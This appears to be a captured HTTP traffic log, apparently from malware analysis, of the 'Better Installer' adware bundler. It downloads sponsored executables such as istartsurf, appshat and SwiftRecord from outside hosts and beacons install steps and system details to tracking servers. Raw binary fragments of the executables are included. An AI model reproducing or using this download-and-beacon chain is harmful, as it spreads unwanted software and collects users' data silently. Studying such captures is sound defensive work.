GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=istartsurf&tokyo_csrf2_key=f3c22d068a1d17734cfa48e754847d6d&tokyo_csrf2_timestamp=1429064846&slot_number=3&index_in_screen=1&index_in_session=3&display_height=50&0.6315553308195835 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/grooveload/grooveload/608d3271d8f3494f867a2b514a49c4e9?v=2.1&uid=608d3271d8f3494f867a2b514a49c4e9&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:27:48 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 15 Apr 2015 02:27:48 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /grooveshark/download/install.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: VVV.scilor.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:27:26 GMT
Server: Apache/2
Last-Modified: Fri, 17 Oct 2014 07:36:29 GMT
ETag: "883706-505996c51f940"
Accept-Ranges: bytes
Content-Length: 8926982
Content-Type: application/x-msdownload
MZP.....................@.............................................
..!..L.!..This program must be run under Win32..$7....................
......................................................................
..............................................PE..L....^B*............
..............................@.......................................
[email protected]...............................
......................................................................
..............CODE....0........................... ..`DATA....P.......
....................@...BSS......................................idata
[email protected]................................
[email protected]....................
[email protected][email protected].............@..
[email protected]..............................................
......................................................................
..............................................string................&l
t;[email protected].@..........)@..(@..(@..)@.....$)@..Free..0)@..InitInstance.
.L)@..CleanupInstance..h(@..ClassType..l(@..ClassName...(@..ClassNameI
s...(@..ClassParent...)@..ClassInfo...(@..InstanceSize...)@..InheritsF
rom...)@..Dispatch...)@..MethodAddress..<*@..MethodName..x*@..Field
Address...)@..DefaultHandler...(@..NewInstance...(@..FreeInstance.TObj
ect.@...@..% .@....%..@....%..@....%..@....%..@....%..@....%..@....%(.
@....%..@....%..@....%..@....%..@....%..@....%..@....%..@....%..@.
<<< skipped >>>


GET /home/smt_istartsurf.exe HTTP/1.1
Range: bytes=251748-
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Wed, 15 Apr 2015 02:28:20 GMT
Content-Type: application/octet-stream
Content-Length: 419580
Last-Modified: Fri, 10 Apr 2015 02:59:56 GMT
Connection: keep-alive
Expires: Sat, 18 Apr 2015 02:28:20 GMT
Cache-Control: max-age=259200
Content-Range: bytes 251748-671327/671328
F......u,....... ;.t........@;[email protected].(i..Y.F.....W.......F.
.>.H....N. . ..N...~.WP.u...v......E..N.. .F..=....M....t....t.....
..............I......H..@. t.Sj.j.Q.Jz..#.......t-.F..].f....j..E.P.u.
...].f.]...u......E.9}.t..N. .........%...._[^....U..........f9E......
.SV.u..M.......u..N.3.;.u..E..H.f...w.f.. ....K.....j.f9E.s..u......Y.
...E.Yt,........... .U.Rj..U.RPQ............E.t...E.8].t..M..ap.^[..3.
PPj.Pj.h...@h..G....pG....H.....H....t....t.P...pG....U.....SV.u..M...
....]......;.sT.M........~..E.Pj.S.z....M...............X.....t.......
..........}..t..E..`p.........E........~1.]..}...E.P.E.%....P.....YY..
t..E.j..E..]..E..Y...-.....*...3..]..E..A.E.j..p..U.j.RQ.M.QV.p..E.P.h
.....$....o........E.t...M.......}..t..M..ap.^[....U...=..H..u..E..H..
..w... ].j..u......YY]...U....<S.u..M.......M..E.3.;.t...;.u%.x....
..........8].t..E..`p.3.3..O...9].t..}..|..}.$....V.u.W.]..]..M..x....
....~..E.P..E.j.P......u........E..........A...;.t....E.G...}.-.}.u..M
.....}. u...G.}..E.j.Y9].u%.}.0t..E......7..<xt.<Xt..E......$.M.
9M.u..}.0u...<xt.<Xu..G.....E..}..E..R..Wj.j..U.......]........M
..E..U..M.......C.....t......0..%....tP.A.<....w... .p.;u.s;.M..M..
;M.rQw..E.;E.rG.E.9E.u.;M.u.3.;E.r3w.;u.v,.M...}..u;.E..M...uA3.9E.t..
M..M..E..E......Q.u..u.W.....3......E..U..E....E..E..E...............u
'..uT...t.9].w.r..}..w...u>9u.r9w..}..v1.o....E...."...t..M...M....
.E..t..e...]....M...u..E._^..t..M....E..t..E..M.........E..M..}..t..E.
.`p..E..U.[....U..3.P.u..u..u.9...H.u.h..H...P.=......]...........
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=178475-
User-Agent: Better Installer(Mozilla)
Host: d3hm9b8fv0d908.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache



.C..k..r%... .0.%..([email protected]....'.H.......!..ii...`]..d.=d.i....%.na..
E...)b..9.J.b?}..g...q4..z[.3\....K}.L{....9..:.5c..t.....wNl.q1c...*.
U.1..Fs..vB....;...n..M.t.%...?...EHRm.$..[...2c..k.N.!.C..kI.~G......
E.Q~C..'..S(.*...^b.:..?.....Wo..._.o.Qxc...5.m..o2...6.........}.....
....m.I.Qt...H.u.Hs....... :?Ne.[......:.*...>...u"..`[email protected]
{.....h-.U.d......w78klD..}..)<.q..../..d[%..J.....Mrw];.I.bz......
..1......-4K9qL.P.f6...3.x6......!..B..k$).>f..0.>].!.mW.Q......
sQV,5.,(...9..n..f...5;[email protected]...)).q.;a..{qsH....c
cT..........dc....uL.y)5K.r.u.....[.s.....q(..}g..k.^....N.L.WagC.....
......>.X9\.K.........:40.r...."`....w..YG. F..<..7...Xa.H.URR.n
 .K..i..*K..{..w....... .`...`?...z<..Z.6.....RO..q_./..l....0.....
.[m...3.........I.f|.........R..I)3..C/r....(.....C...)'|_..H.p.....}.
.......6....2xE]).x.@e#...I..L.Ki$...If..i ...........a&.{..F..Pgk....
)[email protected]$.>/.kVs...0.......V..R:..?...........vb..{
.......x..%G.;IB0.J..m......3.y..d5q[.......^*.v.`}7Q.....B.9].c...._.
...(. ......9.i.......I.W.}Q.......$.WpT...F....N7.......$..H..S.Ue8..
.8...I...*!ag>.f...]A.O.AN........k...]^...1^..y.....7.d...h._Z..WO
....I0sD.....$a xG..K....x_k'.....a....A...v.b...DZ$....)*...'.4..._..
k.Atb....*.3.....9."1.)[email protected][....Iw(?=.aq.
..>[email protected]...#..\H..-c.e..
Z.7...g....f.#........A.u.w`?...............3/..7.nU....3..T.........t
"W.... [email protected]. ..O.GtG@1=.Y..A..b.~............'
<<< skipped >>>


GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.hp HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Wed, 15 Apr 2015 02:28:47 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.51 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Wed, 15 Apr 20
15 02:28:47 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.51 ms","message":"store 1 ac
tion and 0 update "}..0..



GET /youtube_accelerator/wizardtest/SMALLTEST.HTM?random=545067&mode=nolsp HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: test.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Content-Encoding: gzip
Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT
Accept-Ranges: bytes
ETag: "bfefaff515ebc81:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:57 GMT
Content-Length: 167
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF...HTTP/1.1 200 OK..Content-Type: text/h
tml..Content-Encoding: gzip..Last-Modified: Mon, 21 Jul 2008 09:41:32 
GMT..Accept-Ranges: bytes..ETag: "bfefaff515ebc81:0"..Vary: Accept-Enc
oding..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Wed, 15
 Apr 2015 02:28:57 GMT..Content-Length: 167...............`.I.%&/m.{.J
.J..t...`[email protected]#).*..eVe]f.@......{....{....;.N'...?\fd.l..J
...!....?~|.?".......~....O......7.O.............'_>.}. ..>..o.?
...MF.....



GET /utility.gif?report=fdata&f=1&c=000820&i=100&n=init_start_funnel_step_name&rnd=1429064960 HTTP/1.1
Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: jjivQLX 0Q7ztTX5SVfFu3/Ji4sVzlKZ0RV3pg8fNJhC6/W7BLAMbxPEl87sJac/
x-amz-request-id: B79C8ED73270948B
Date: Wed, 15 Apr 2015 02:29:21 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: jjivQL
X 0Q7ztTX5SVfFu3/Ji4sVzlKZ0RV3pg8fNJhC6/W7BLAMbxPEl87sJac/..x-amz-requ
est-id: B79C8ED73270948B..Date: Wed, 15 Apr 2015 02:29:21 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /installer-error.gif?action=sesamy&app=65743&appver=0&ver=1_36_01_22&version_date=15-04-14&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=323F1A84EBEE4590A0CC140886D02470PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350029&asw=0&asw2=1082139141&asw3=-2147475456&asw4=0&crtnm=na&procstarttime=1429064960&procruntime=2&rnd=1429064962 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2:  Rt7V DXKElTknJGb183J9ycYxvO8 BL7iP4cFEjAcJVU5wCfJuFgRA2swBQg4Mw
x-amz-request-id: B146AFDD4BDA8ADE
Date: Wed, 15 Apr 2015 02:29:23 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:16 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2:  Rt7V 
DXKElTknJGb183J9ycYxvO8 BL7iP4cFEjAcJVU5wCfJuFgRA2swBQg4Mw..x-amz-requ
est-id: B146AFDD4BDA8ADE..Date: Wed, 15 Apr 2015 02:29:23 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 31 Mar 2015 09:53:16 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=200&n=init_end_funnel_step_name&rnd=1429064963 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: FBSGJ0XrUoyzkzfEr/XSEiGCqf6zYnGBZ0ti6Aan6hrTQdFBQo/S/5ubmE1kMhrK
x-amz-request-id: B621D11D2C530558
Date: Wed, 15 Apr 2015 02:29:24 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=300&n=deploy_start_funnel_step_name&rnd=1429064963 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: vByQsXsSPXlJPuIMpL13AySDwXHkZ4bT9QgrmAbjCdw2R4yQ6ds1nVVQN0W0fHaE
x-amz-request-id: D223E176AEAC0236
Date: Wed, 15 Apr 2015 02:29:24 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: vByQsX
sSPXlJPuIMpL13AySDwXHkZ4bT9QgrmAbjCdw2R4yQ6ds1nVVQN0W0fHaE..x-amz-requ
est-id: D223E176AEAC0236..Date: Wed, 15 Apr 2015 02:29:24 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1429064964 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: QSPKByB/mK3upmK43m2kleSbKREdZChByC0OXM7ShU2FM B9cHgQvURmnUHGtymO
x-amz-request-id: 94D2EC09FD338459
Date: Wed, 15 Apr 2015 02:29:25 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: QSPKBy
B/mK3upmK43m2kleSbKREdZChByC0OXM7ShU2FM B9cHgQvURmnUHGtymO..x-amz-requ
est-id: 94D2EC09FD338459..Date: Wed, 15 Apr 2015 02:29:25 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=500&n=deploy_notification_start_funnel_step_name&rnd=1429064964 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: slcaUBVYvGvvKW5wTA4pTpGZck 7EUJw1HyLc L1 XL4JLXgE0Yij4r zzTnWiwl
x-amz-request-id: AFD16FFA7339CF38
Date: Wed, 15 Apr 2015 02:29:25 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1429064965 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: FuyjF0rUp5QjhfHvwDvXr8u4KRZxYjF1Rv5giHLkSP JeX6cTQmXZA3QJxD/gX8q
x-amz-request-id: 556D00B17F709CAE
Date: Wed, 15 Apr 2015 02:29:26 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=700&n=deploy_ch_start_funnel_step_name&rnd=1429064965 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: fYPKGJ1zC9uDiE0hgkKVUI6rcXkK2cK2LJ2BxVX2pAuBPE0oLCkwKZKy72rtPGz5
x-amz-request-id: FCA92BAD5C63BC74
Date: Wed, 15 Apr 2015 02:29:26 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=800&n=deploy_nova_start_funnel_step_name&rnd=1429064965 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: vhflbXpmm5Ur7srfxy04ayGjUfG2 I5vrAGtwvNw3zlGS4ABXGpU9osUfnDNtKyE
x-amz-request-id: 525F8AE0DB05760D
Date: Wed, 15 Apr 2015 02:29:26 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=900&n=deploy_ff_start_funnel_step_name&rnd=1429064965 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: sVY6x3HXalRR2ZK1K44o UnZOfZKNX4344QtOOjKBhuOz8QSMQ4gr6vIdyOanIXx
x-amz-request-id: 1826E630A59D7AF5
Date: Wed, 15 Apr 2015 02:29:26 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: sVY6x3
HXalRR2ZK1K44o UnZOfZKNX4344QtOOjKBhuOz8QSMQ4gr6vIdyOanIXx..x-amz-requ
est-id: 1826E630A59D7AF5..Date: Wed, 15 Apr 2015 02:29:26 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1429064968 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: QhqCnjC5fhxXkTneGafmZzfu0I0lPw3C9v4SuQp0vtaptnA5l6q3D8tjVR7TaHcd
x-amz-request-id: 831117068AF9A5D9
Date: Wed, 15 Apr 2015 02:29:29 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1429064968 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: uS3aQRR7ZS0HfFYpZwj2B0jiHufneCbLvAi68VYpzyHzzGWjrtGuevLZbomd5/tK
x-amz-request-id: 0A861B39AA1B3C13
Date: Wed, 15 Apr 2015 02:29:29 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1429064968 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: Lgx1jhjHJhwzhJk/bYUS/QTfP6qD5AjQwLPhuHVfyA1J7hqhSXpHUEdWgDDkYIYI
x-amz-request-id: E3FB6250A7C4696D
Date: Wed, 15 Apr 2015 02:29:29 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: Lgx1jh
jHJhwzhJk/bYUS/QTfP6qD5AjQwLPhuHVfyA1J7hqhSXpHUEdWgDDkYIYI..x-amz-requ
est-id: E3FB6250A7C4696D..Date: Wed, 15 Apr 2015 02:29:29 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1429064969 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: Wj0qUQYIDlkFsK5nz91AbvP1dM6Qlm6reeL16hE7rmceRZETnQE1b3VzixMcfOJJ
x-amz-request-id: 0C338ED14D831BD9
Date: Wed, 15 Apr 2015 02:29:31 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=10000&n=deploy_end_funnel_step_name&rnd=1429064970 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: b 7OcFM3CRidu/A4XMmQ5V8J0xIjOyBfFvJhrrfF/7oThXzIFNHPfGSKJWdqibbT
x-amz-request-id: 0D3A595CF7E92ABC
Date: Wed, 15 Apr 2015 02:29:31 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: b 7OcF
M3CRidu/A4XMmQ5V8J0xIjOyBfFvJhrrfF/7oThXzIFNHPfGSKJWdqibbT..x-amz-requ
est-id: 0D3A595CF7E92ABC..Date: Wed, 15 Apr 2015 02:29:31 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;..



GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: d3hm9b8fv0d908.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache



......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................cdd.}...qrr=^^]mjjl.
GGG.//..TTT.?>>.,,,.ONO.RRR._^]_|{{-XXZ.]]\.....................
......................................................................
......................................................................
...........................!...chii.QSS.?BB.566.***.-**.-  .#!!.%##.)'
'."  .#!!.'%%.-  .<<=.\\[....1wwv...............................
......................................................................
......................................................................
.;........rsr.Z\[.HKK.9<;.344.///.,**.*((.'%%.&#$.%##.%$$.$##.$"".!
  . ...%%%.=<<.bba....7.........................................
......................................................................
................................................I................nom.^
__.DEF.688.122. --.)**.'&&.%$$.$""."!!.   .............#!!.$"".&#$..--
.XXY..................................................................
......................................................................
.............WWV1nmm.dcb.............zyw.lmk.SUS.=??.:<<.8:9
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=392472-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP002C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Thu, 16 Apr 2015 02:28:17 GMT
Date: Wed, 15 Apr 2015 02:28:17 GMT
Content-Range: bytes 392472-523295/523296
Content-Length: 130824
Connection: keep-alive
.........l.\...l..:B\k..I.V#...B.............. !...z. 3).5.9..........
y..{.u;U};.*..?.g........ ..B.7XE.N(...#{...qLc...<.....r.J...9....
.....e....`.2.........|.I}6...%....F....4....[9....... (.....C..G~...Y
0gs-.a..3..j..M..8. M ...78^c.x&W.20..."s..zL....w..hKI..)p.....{..G.c
..h..7... W...:.:zcJx.k;.i.}.........vE:..\...7.5...........28.w....F"
[email protected]..{..U$.&.XQ.........t...Y.3......08$.F..
...u0C.......Z.9.4ZPb.XB}.IPKm..y{j..=S..Ly.<[.VW.7^S.R l.....$Y3-.
=b...*c&..8.C.IP.O..../....b.....&<p..=.\G..3.r..,.>GIo.....7.q`
bie.L...S1._..ZhG.J8E........U..Q.$...z.-!...FGh./Q[1...'..f...[H.Z...
[email protected]..#.3i...p.....GH.....$........xr..'Zs... Ni.M..e...
.Gg_g\.....HP.y.-..a....R?N.7'.z....W$....7..5O.....H..`.Y....g.._cCzz
..wS.s........Oa...p.k...h1.........g.C...X]/.*.fG...<.%......j".F.
M....p..w..-."#.(..)...6.y.=h......P..J.,|.p....(.9y...|.CQ.L..X73...@
....Ut,.*.......N..W/.Y..H.ED.....UT.<...K."._1......\j......)r....
.\.s.......v.v..m..i.n<.l.s..7^<!....,..)..\.?..... .r...IW.0..H
Q4?....K;Di.|...2.....[h.#]...*.......M.&.....C.;..u....N..Y.SV.....0.
(...1KBA70..T...FyP....L.UiO?.,H^.c....E1....a.Z....v$.75.(..(..F.....
..........,wlB[.~...S.?{<./5.i..;.....T.W..F....|5u.%{.I#7r..Y)F..L
.wW.....DQ.X0X..........,..v.....]..[j......S.5..."...V"^..9......&.9.
.\........{..!0.Z.(Yqfx.....%..T...I^.M<...P.. ^..q. -s..(..m......
...ss............o......)z...rR3.t..QG .T.A...AjK......9...Ca.Ej.L...B
B.gK.a..2........)T.............((..A.....&.H5........y> ..v..G
<<< skipped >>>


GET /downloader/grooveload/grooveload/118da1f976d76e498cb7b97066dd3d92?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=118da1f976d76e498cb7b97066dd3d92&muid=AD2252CE007468623BD139B0ADEC3423 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
